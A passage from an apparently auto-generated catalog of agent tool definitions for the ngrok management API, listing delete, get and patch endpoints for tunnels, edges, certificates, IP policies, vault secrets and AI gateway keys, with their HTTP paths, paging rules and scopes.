/ip_policy_rules/{id} DELETE /api/v1/ngrok/ip_policy_rules/{id}. Scopes: api. ngrok_delete_ip_restrictions_by_id (write, destructive) — IP Restrictions: Delete -- Delete an IP restriction. Answers 204 with no content on success; this tool returns {}. via DELETE /ip_restrictions/{id} DELETE /api/v1/ngrok/ip_restrictions/{id}. Scopes: api. ngrok_delete_reserved_addrs_by_id (write, destructive) — Reserved Addresses: Delete -- Delete a reserved address. Answers 204 with no content on success; this tool returns {}. via DELETE /reserved_addrs/{id} DELETE /api/v1/ngrok/reserved_addrs/{id}. Scopes: api. ngrok_delete_reserved_domains_by_id (write, destructive) — Reserved Domains: Delete -- Delete a reserved domain. Answers 204 with no content on success; this tool returns {}. via DELETE /reserved_domains/{id} DELETE /api/v1/ngrok/reserved_domains/{id}. Scopes: api. ngrok_delete_reserved_domains_by_id_certificate (write, destructive) — Reserved Domains: Delete certificate -- Detach the certificate attached to a reserved domain. Answers 204 with no content on success; this tool returns {}. via DELETE /reserved_domains/{id}/certificate DELETE /api/v1/ngrok/reserved_domains/{id}/certificate. Scopes: api. ngrok_delete_reserved_domains_by_id_certificate_management_policy (write, destructive) — Reserved Domains: Delete certificate management policy -- Detach the certificate management policy attached to a reserved domain. Answers 204 with no content on success; this tool returns {}. via DELETE /reserved_domains/{id}/certificate_management_policy DELETE /api/v1/ngrok/reserved_domains/{id}/certificate_management_policy. Scopes: api. ngrok_delete_service_users_by_id (write, destructive) — Service Users: Delete -- Delete a service user by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /service_users/{id} DELETE /api/v1/ngrok/service_users/{id}. Scopes: api. ngrok_delete_ssh_certificate_authorities_by_id (write, destructive) — SSH Certificate Authorities: Delete -- Delete an SSH Certificate Authority. Answers 204 with no content on success; this tool returns {}. via DELETE /ssh_certificate_authorities/{id} DELETE /api/v1/ngrok/ssh_certificate_authorities/{id}. Scopes: api. ngrok_delete_ssh_credentials_by_id (write, destructive) — SSH Credentials: Delete -- Delete an ssh_credential by ID. Answers 204 with no content on success; this tool returns {}. via DELETE /ssh_credentials/{id} DELETE /api/v1/ngrok/ssh_credentials/{id}. Scopes: api. ngrok_delete_ssh_host_certificates_by_id (write, destructive) — SSH Host Certificates: Delete -- Delete an SSH Host Certificate. Answers 204 with no content on success; this tool returns {}. via DELETE /ssh_host_certificates/{id} DELETE /api/v1/ngrok/ssh_host_certificates/{id}. Scopes: api. ngrok_delete_ssh_user_certificates_by_id (write, destructive) — SSH User Certificates: Delete -- Delete an SSH User Certificate. Answers 204 with no content on success; this tool returns {}. via DELETE /ssh_user_certificates/{id} DELETE /api/v1/ngrok/ssh_user_certificates/{id}. Scopes: api. ngrok_delete_tls_certificates_by_id (write, destructive) — TLS Certificates: Delete -- Delete a TLS certificate. Answers 204 with no content on success; this tool returns {}. via DELETE /tls_certificates/{id} DELETE /api/v1/ngrok/tls_certificates/{id}. Scopes: api. ngrok_delete_vault_secrets_by_id (write, destructive) — Secrets: Delete -- Delete a Secret. Answers 204 with no content on success; this tool returns {}. via DELETE /vault_secrets/{id} DELETE /api/v1/ngrok/vault_secrets/{id}. Scopes: api. ngrok_delete_vaults_by_id (write, destructive) — Vaults: Delete -- Delete a Vault. Answers 204 with no content on success; this tool returns {}. via DELETE /vaults/{id} DELETE /api/v1/ngrok/vaults/{id}. Scopes: api. ngrok_get_abuse_reports_by_id (read) — Abuse Reports: Get -- Get the detailed status of abuse report by ID. Returns the affected resource object. via GET /abuse_reports/{id} GET /api/v1/ngrok/abuse_reports/{id}. Scopes: api. ngrok_get_agent_ingresses (read) — Agent Ingresses: List -- List all Agent Ingresses owned by this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /agent_ingresses GET /api/v1/ngrok/agent_ingresses. Scopes: api. ngrok_get_agent_ingresses_by_id (read) — Agent Ingresses: Get -- Get the details of an Agent Ingress by ID. Returns the affected resource object. via GET /agent_ingresses/{id} GET /api/v1/ngrok/agent_ingresses/{id}. Scopes: api. ngrok_get_ai_gateway_api_keys (read) — AI Gateway API Keys: List -- List all AI Gateway API Keys owned by account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ai_gateway_api_keys GET /api/v1/ngrok/ai_gateway_api_keys. Scopes: api. ngrok_get_ai_gateway_api_keys_by_id (read) — AI Gateway API Keys: Get -- Get an AI Gateway API Key by ID. Returns the affected resource object. via GET /ai_gateway_api_keys/{id} GET /api/v1/ngrok/ai_gateway_api_keys/{id}. Scopes: api. ngrok_get_ai_gateway_provider_keys (read) — AI Gateway Provider Keys: List -- List AI Gateway Provider Keys. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ai_gateway_provider_keys GET /api/v1/ngrok/ai_gateway_provider_keys. Scopes: api. ngrok_get_ai_gateway_provider_keys_by_id (read) — AI Gateway Provider Keys: Get -- Get an AI Gateway Provider Key by ID. Returns the affected resource object. via GET /ai_gateway_provider_keys/{id} GET /api/v1/ngrok/ai_gateway_provider_keys/{id}. Scopes: api. ngrok_get_api_keys (read) — API Keys: List -- List all API keys owned by this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /api_keys GET /api/v1/ngrok/api_keys. Scopes: api. ngrok_get_api_keys_by_id (read) — API Keys: Get -- Get the details of an API key by ID. Returns the affected resource object. via GET /api_keys/{id} GET /api/v1/ngrok/api_keys/{id}. Scopes: api. ngrok_get_app_sessions (read) — Application Sessions: List -- List all application sessions for this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /app/sessions GET /api/v1/ngrok/app/sessions. Scopes: api. ngrok_get_app_sessions_by_id (read) — Application Sessions: Get -- Get an application session by ID. Returns the affected resource object. via GET /app/sessions/{id} GET /api/v1/ngrok/app/sessions/{id}. Scopes: api. ngrok_get_app_users (read) — Application Users: List -- List all application users for this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /app/users GET /api/v1/ngrok/app/users. Scopes: api. ngrok_get_app_users_by_id (read) — Application Users: Get -- Get an application user by ID. Returns the affected resource object. via GET /app/users/{id} GET /api/v1/ngrok/app/users/{id}. Scopes: api. ngrok_get_backends_failover (read) — Failover Backends: List -- List all Failover backends on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /backends/failover GET /api/v1/ngrok/backends/failover. Scopes: api. ngrok_get_backends_failover_by_id (read) — Failover Backends: Get -- Get detailed information about a Failover backend by ID. Returns the affected resource object. via GET /backends/failover/{id} GET /api/v1/ngrok/backends/failover/{id}. Scopes: api. ngrok_get_backends_http_response (read) — HTTP Response Backends: List. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /backends/http_response GET /api/v1/ngrok/backends/http_response. Scopes: api. ngrok_get_backends_http_response_by_id (read) — HTTP Response Backends: Get. Returns the affected resource object. via GET /backends/http_response/{id} GET /api/v1/ngrok/backends/http_response/{id}. Scopes: api. ngrok_get_backends_static (read) — Static Backends: List -- List all static backends on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /backends/static GET /api/v1/ngrok/backends/static. Scopes: api. ngrok_get_backends_static_by_id (read) — Static Backends: Get -- Get detailed information about a static backend by ID. Returns the affected resource object. via GET /backends/static/{id} GET /api/v1/ngrok/backends/static/{id}. Scopes: api. ngrok_get_backends_tunnel_group (read) — Tunnel Group Backends: List -- List all TunnelGroup backends on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /backends/tunnel_group GET /api/v1/ngrok/backends/tunnel_group. Scopes: api. ngrok_get_backends_tunnel_group_by_id (read) — Tunnel Group Backends: Get -- Get detailed information about a TunnelGroup backend by ID. Returns the affected resource object. via GET /backends/tunnel_group/{id} GET /api/v1/ngrok/backends/tunnel_group/{id}. Scopes: api. ngrok_get_backends_weighted (read) — Weighted Backends: List -- List all Weighted backends on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /backends/weighted GET /api/v1/ngrok/backends/weighted. Scopes: api. ngrok_get_backends_weighted_by_id (read) — Weighted Backends: Get -- Get detailed information about a Weighted backend by ID. Returns the affected resource object. via GET /backends/weighted/{id} GET /api/v1/ngrok/backends/weighted/{id}. Scopes: api. ngrok_get_bot_users (read) — Bot Users: List -- List all bot users in this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /bot_users GET /api/v1/ngrok/bot_users. Scopes: api. ngrok_get_bot_users_by_id (read) — Bot Users: Get -- Get the details of a Bot User by ID. Returns the affected resource object. via GET /bot_users/{id} GET /api/v1/ngrok/bot_users/{id}. Scopes: api. ngrok_get_certificate_authorities (read) — Certificate Authorities: List -- List all Certificate Authority on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /certificate_authorities GET /api/v1/ngrok/certificate_authorities. Scopes: api. ngrok_get_certificate_authorities_by_id (read) — Certificate Authorities: Get -- Get detailed information about a certificate authority. Returns the affected resource object. via GET /certificate_authorities/{id} GET /api/v1/ngrok/certificate_authorities/{id}. Scopes: api. ngrok_get_credentials (read) — Credentials: List -- List all tunnel authtoken credentials on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /credentials GET /api/v1/ngrok/credentials. Scopes: api. ngrok_get_credentials_by_id (read) — Credentials: Get -- Get detailed information about a tunnel authtoken credential. Returns the affected resource object. via GET /credentials/{id} GET /api/v1/ngrok/credentials/{id}. Scopes: api. ngrok_get_edges_https (read) — HTTPS Edges: List -- Returns a list of all HTTPS Edges on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /edges/https GET /api/v1/ngrok/edges/https. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id (read) — HTTPS Edge Routes: Get -- Get an HTTPS Edge Route by ID. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id} GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_backend (read) — Edge Route Backend Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/backend GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/backend. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_circuit_breaker (read) — Edge Route Circuit Breaker Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/circuit_breaker GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/circuit_breaker. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_compression (read) — Edge Route Compression Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/compression GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/compression. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_ip_restriction (read) — Edge Route IP Restriction Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/ip_restriction GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/ip_restriction. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_oauth (read) — Edge Route OAuth Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/oauth GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oauth. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_oidc (read) — Edge Route OIDC Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/oidc GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oidc. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_request_headers (read) — Edge Route Request Headers Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/request_headers GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/request_headers. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_response_headers (read) — Edge Route Response Headers Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/response_headers GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/response_headers. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_saml (read) — Edge Route SAML Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/saml GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/saml. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_traffic_policy (read) — Edge Route Traffic Policy Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/traffic_policy GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/traffic_policy. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_user_agent_filter (read) — Edge Route User Agent Filter Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/user_agent_filter GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/user_agent_filter. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_webhook_verification (read) — Edge Route Webhook Verification Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/webhook_verification GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/webhook_verification. Scopes: api. ngrok_get_edges_https_by_edge_id_routes_by_id_websocket_tcp_converter (read) — Edge Route Websocket TCP Converter Module: Get. Returns the affected resource object. via GET /edges/https/{edge_id}/routes/{id}/websocket_tcp_converter GET /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/websocket_tcp_converter. Scopes: api. ngrok_get_edges_https_by_id (read) — HTTPS Edges: Get -- Get an HTTPS Edge by ID. Returns the affected resource object. via GET /edges/https/{id} GET /api/v1/ngrok/edges/https/{id}. Scopes: api. ngrok_get_edges_https_by_id_mutual_tls (read) — HTTPS Edge Mutual TLS Module: Get. Returns the affected resource object. via GET /edges/https/{id}/mutual_tls GET /api/v1/ngrok/edges/https/{id}/mutual_tls. Scopes: api. ngrok_get_edges_https_by_id_tls_termination (read) — HTTPS Edge TLS Termination Module: Get. Returns the affected resource object. via GET /edges/https/{id}/tls_termination GET /api/v1/ngrok/edges/https/{id}/tls_termination. Scopes: api. ngrok_get_edges_tcp (read) — TCP Edges: List -- Returns a list of all TCP Edges on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /edges/tcp GET /api/v1/ngrok/edges/tcp. Scopes: api. ngrok_get_edges_tcp_by_id (read) — TCP Edges: Get -- Get a TCP Edge by ID. Returns the affected resource object. via GET /edges/tcp/{id} GET /api/v1/ngrok/edges/tcp/{id}. Scopes: api. ngrok_get_edges_tcp_by_id_backend (read) — TCP Edge Backend Module: Get. Returns the affected resource object. via GET /edges/tcp/{id}/backend GET /api/v1/ngrok/edges/tcp/{id}/backend. Scopes: api. ngrok_get_edges_tcp_by_id_ip_restriction (read) — TCP Edge IP Restriction Module: Get. Returns the affected resource object. via GET /edges/tcp/{id}/ip_restriction GET /api/v1/ngrok/edges/tcp/{id}/ip_restriction. Scopes: api. ngrok_get_edges_tcp_by_id_traffic_policy (read) — TCP Edge Traffic Policy Module: Get. Returns the affected resource object. via GET /edges/tcp/{id}/traffic_policy GET /api/v1/ngrok/edges/tcp/{id}/traffic_policy. Scopes: api. ngrok_get_edges_tls (read) — TLS Edges: List -- Returns a list of all TLS Edges on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /edges/tls GET /api/v1/ngrok/edges/tls. Scopes: api. ngrok_get_edges_tls_by_id (read) — TLS Edges: Get -- Get a TLS Edge by ID. Returns the affected resource object. via GET /edges/tls/{id} GET /api/v1/ngrok/edges/tls/{id}. Scopes: api. ngrok_get_edges_tls_by_id_backend (read) — TLS Edge Backend Module: Get. Returns the affected resource object. via GET /edges/tls/{id}/backend GET /api/v1/ngrok/edges/tls/{id}/backend. Scopes: api. ngrok_get_edges_tls_by_id_ip_restriction (read) — TLS Edge IP Restriction Module: Get. Returns the affected resource object. via GET /edges/tls/{id}/ip_restriction GET /api/v1/ngrok/edges/tls/{id}/ip_restriction. Scopes: api. ngrok_get_edges_tls_by_id_mutual_tls (read) — TLS Edge Mutual TLS Module: Get. Returns the affected resource object. via GET /edges/tls/{id}/mutual_tls GET /api/v1/ngrok/edges/tls/{id}/mutual_tls. Scopes: api. ngrok_get_edges_tls_by_id_tls_termination (read) — TLS Edge TLS Termination Module: Get. Returns the affected resource object. via GET /edges/tls/{id}/tls_termination GET /api/v1/ngrok/edges/tls/{id}/tls_termination. Scopes: api. ngrok_get_edges_tls_by_id_traffic_policy (read) — TLS Edge Traffic Policy Module: Get. Returns the affected resource object. via GET /edges/tls/{id}/traffic_policy GET /api/v1/ngrok/edges/tls/{id}/traffic_policy. Scopes: api. ngrok_get_endpoints (read) — Endpoints: List -- List all active endpoints on the account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /endpoints GET /api/v1/ngrok/endpoints. Scopes: api. ngrok_get_endpoints_by_id (read) — Endpoints: Get -- Get the status of an endpoint by ID. Returns the affected resource object. via GET /endpoints/{id} GET /api/v1/ngrok/endpoints/{id}. Scopes: api. ngrok_get_event_destinations (read) — Event Destinations: List -- List all Event Destinations on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /event_destinations GET /api/v1/ngrok/event_destinations. Scopes: api. ngrok_get_event_destinations_by_id (read) — Event Destinations: Get -- Get detailed information about an Event Destination by ID. Returns the affected resource object. via GET /event_destinations/{id} GET /api/v1/ngrok/event_destinations/{id}. Scopes: api. ngrok_get_event_subscriptions (read) — Event Subscriptions: List -- List this Account's Event Subscriptions. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /event_subscriptions GET /api/v1/ngrok/event_subscriptions. Scopes: api. ngrok_get_event_subscriptions_by_id (read) — Event Subscriptions: Get -- Get an Event Subscription by ID. Returns the affected resource object. via GET /event_subscriptions/{id} GET /api/v1/ngrok/event_subscriptions/{id}. Scopes: api. ngrok_get_event_subscriptions_by_subscription_id_sources (read) — Event Sources: List -- List the types for which this event subscription will trigger. Returns the affected resource object. via GET /event_subscriptions/{subscription_id}/sources GET /api/v1/ngrok/event_subscriptions/{subscription_id}/sources. Scopes: api. ngrok_get_event_subscriptions_by_subscription_id_sources_by_type (read) — Event Sources: Get -- Get the details for a given type that triggers for the given event subscription. Returns the affected resource object. via GET /event_subscriptions/{subscription_id}/sources/{type} GET /api/v1/ngrok/event_subscriptions/{subscription_id}/sources/{type}. Scopes: api. ngrok_get_ip_policies (read) — IP Policies: List -- List all IP policies on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ip_policies GET /api/v1/ngrok/ip_policies. Scopes: api. ngrok_get_ip_policies_by_id (read) — IP Policies: Get -- Get detailed information about an IP policy by ID. Returns the affected resource object. via GET /ip_policies/{id} GET /api/v1/ngrok/ip_policies/{id}. Scopes: api. ngrok_get_ip_policy_rules (read) — IP Policy Rules: List -- List all IP policy rules on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ip_policy_rules GET /api/v1/ngrok/ip_policy_rules. Scopes: api. ngrok_get_ip_policy_rules_by_id (read) — IP Policy Rules: Get -- Get detailed information about an IP policy rule by ID. Returns the affected resource object. via GET /ip_policy_rules/{id} GET /api/v1/ngrok/ip_policy_rules/{id}. Scopes: api. ngrok_get_ip_restrictions (read) — IP Restrictions: List -- List all IP restrictions on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ip_restrictions GET /api/v1/ngrok/ip_restrictions. Scopes: api. ngrok_get_ip_restrictions_by_id (read) — IP Restrictions: Get -- Get detailed information about an IP restriction. Returns the affected resource object. via GET /ip_restrictions/{id} GET /api/v1/ngrok/ip_restrictions/{id}. Scopes: api. ngrok_get_reserved_addrs (read) — Reserved Addresses: List -- List all reserved addresses on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /reserved_addrs GET /api/v1/ngrok/reserved_addrs. Scopes: api. ngrok_get_reserved_addrs_by_id (read) — Reserved Addresses: Get -- Get the details of a reserved address. Returns the affected resource object. via GET /reserved_addrs/{id} GET /api/v1/ngrok/reserved_addrs/{id}. Scopes: api. ngrok_get_reserved_domains (read) — Reserved Domains: List -- List all reserved domains on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /reserved_domains GET /api/v1/ngrok/reserved_domains. Scopes: api. ngrok_get_reserved_domains_by_id (read) — Reserved Domains: Get -- Get the details of a reserved domain. Returns the affected resource object. via GET /reserved_domains/{id} GET /api/v1/ngrok/reserved_domains/{id}. Scopes: api. ngrok_get_service_users (read) — Service Users: List -- List all service users in this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /service_users GET /api/v1/ngrok/service_users. Scopes: api. ngrok_get_service_users_by_id (read) — Service Users: Get -- Get the details of a Bot User by ID. Returns the affected resource object. via GET /service_users/{id} GET /api/v1/ngrok/service_users/{id}. Scopes: api. ngrok_get_ssh_certificate_authorities (read) — SSH Certificate Authorities: List -- List all SSH Certificate Authorities on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ssh_certificate_authorities GET /api/v1/ngrok/ssh_certificate_authorities. Scopes: api. ngrok_get_ssh_certificate_authorities_by_id (read) — SSH Certificate Authorities: Get -- Get detailed information about an SSH Certificate Authority. Returns the affected resource object. via GET /ssh_certificate_authorities/{id} GET /api/v1/ngrok/ssh_certificate_authorities/{id}. Scopes: api. ngrok_get_ssh_credentials (read) — SSH Credentials: List -- List all ssh credentials on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ssh_credentials GET /api/v1/ngrok/ssh_credentials. Scopes: api. ngrok_get_ssh_credentials_by_id (read) — SSH Credentials: Get -- Get detailed information about an ssh_credential. Returns the affected resource object. via GET /ssh_credentials/{id} GET /api/v1/ngrok/ssh_credentials/{id}. Scopes: api. ngrok_get_ssh_host_certificates (read) — SSH Host Certificates: List -- List all SSH Host Certificates issued on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ssh_host_certificates GET /api/v1/ngrok/ssh_host_certificates. Scopes: api. ngrok_get_ssh_host_certificates_by_id (read) — SSH Host Certificates: Get -- Get detailed information about an SSH Host Certificate. Returns the affected resource object. via GET /ssh_host_certificates/{id} GET /api/v1/ngrok/ssh_host_certificates/{id}. Scopes: api. ngrok_get_ssh_user_certificates (read) — SSH User Certificates: List -- List all SSH User Certificates issued on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /ssh_user_certificates GET /api/v1/ngrok/ssh_user_certificates. Scopes: api. ngrok_get_ssh_user_certificates_by_id (read) — SSH User Certificates: Get -- Get detailed information about an SSH User Certificate. Returns the affected resource object. via GET /ssh_user_certificates/{id} GET /api/v1/ngrok/ssh_user_certificates/{id}. Scopes: api. ngrok_get_tls_certificates (read) — TLS Certificates: List -- List all TLS certificates on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /tls_certificates GET /api/v1/ngrok/tls_certificates. Scopes: api. ngrok_get_tls_certificates_by_id (read) — TLS Certificates: Get -- Get detailed information about a TLS certificate. Returns the affected resource object. via GET /tls_certificates/{id} GET /api/v1/ngrok/tls_certificates/{id}. Scopes: api. ngrok_get_tunnel_sessions (read) — Tunnel Sessions: List -- List all online tunnel sessions running on this account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /tunnel_sessions GET /api/v1/ngrok/tunnel_sessions. Scopes: api. ngrok_get_tunnel_sessions_by_id (read) — Tunnel Sessions: Get -- Get the detailed status of a tunnel session by ID. Returns the affected resource object. via GET /tunnel_sessions/{id} GET /api/v1/ngrok/tunnel_sessions/{id}. Scopes: api. ngrok_get_tunnels (read) — Tunnels: List -- List all online tunnels currently running on the account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /tunnels GET /api/v1/ngrok/tunnels. Scopes: api. ngrok_get_tunnels_by_id (read) — Tunnels: Get -- Get the status of a tunnel by ID. Returns the affected resource object. via GET /tunnels/{id} GET /api/v1/ngrok/tunnels/{id}. Scopes: api. ngrok_get_vault_secrets (read) — Secrets: List -- List all Secrets owned by account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /vault_secrets GET /api/v1/ngrok/vault_secrets. Scopes: api. ngrok_get_vault_secrets_by_id (read) — Secrets: Get -- Get a Secret by ID. Returns the affected resource object. via GET /vault_secrets/{id} GET /api/v1/ngrok/vault_secrets/{id}. Scopes: api. ngrok_get_vaults (read) — Vaults: List -- List all Vaults owned by account. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /vaults GET /api/v1/ngrok/vaults. Scopes: api. ngrok_get_vaults_by_id (read) — Vaults: Get -- Get a Vault by ID. Returns the affected resource object. via GET /vaults/{id} GET /api/v1/ngrok/vaults/{id}. Scopes: api. ngrok_get_vaults_by_id_secrets (read) — Vaults: List secrets in vault -- Get Secrets by Vault ID. Paged list: the items are under the resource's own key, alongside `uri` and `next_page_uri`. Page by passing the id of the earliest item you have seen as `before_id`; `next_page_uri` is null on the last page. via GET /vaults/{id}/secrets GET /api/v1/ngrok/vaults/{id}/secrets. Scopes: api. ngrok_patch_agent_ingresses_by_id (write) — Agent Ingresses: Update -- Update attributes of an Agent Ingress by ID. Returns the affected resource object. via PATCH /agent_ingresses/{id} PATCH /api/v1/ngrok/agent_ingresses/{id}. Scopes: api. ngrok_patch_ai_gateway_api_keys_by_id (write) — AI Gateway API Keys: Update -- Update an existing AI Gateway API Key by ID. Returns the affected resource object. via PATCH /ai_gateway_api_keys/{id} PATCH /api/v1/ngrok/ai_gateway_api_keys/{id}. Scopes: api. ngrok_patch_ai_gateway_provider_keys_by_id (write) — AI Gateway Provider Keys: Update -- Update an existing AI Gateway Provider Key by ID. Returns the affected resource object. via PATCH /ai_gateway_provider_keys/{id} PATCH /api/v1/ngrok/ai_gateway_provider_keys/{id}. Scopes: api. ngrok_patch_api_keys_by_id (write) — API Keys: Update -- Update attributes of an API key by ID. Returns the affected resource object. via PATCH /api_keys/{id} PATCH /api/v1/ngrok/api_keys/{id}. Scopes: api. ngrok_patch_backends_failover_by_id (write) — Failover Backends: Update -- Update Failover backend by ID. Returns the affected resource object. via PATCH /backends/failover/{id} PATCH /api/v1/ngrok/backends/failover/{id}. Scopes: api. ngrok_patch_backends_http_response_by_id (write) — HTTP Response Backends: Update. Returns the affected resource object. via PATCH /backends/http_response/{id} PATCH /api/v1/ngrok/backends/http_response/{id}. Scopes: api. ngrok_patch_backends_static_by_id (write) — Static Backends: Update -- Update static backend by ID. Returns the affected resource object. via PATCH /backends/static/{id} PATCH /api/v1/ngrok/backends/static/{id}. Scopes: api. ngrok_patch_backends_tunnel_group_by_id (write) — Tunnel Group Backends: Update -- Update TunnelGroup backend by ID. Returns the affected resource object. via PATCH /backends/tunnel_group/{id} PATCH /api/v1/ngrok/backends/tunnel_group/{id}. Scopes: api. ngrok_patch_backends_weighted_by_id (write) — Weighted Backends: Update -- Update Weighted backend by ID. Returns the affected resource object. via PATCH /backends/weighted/{id} PATCH 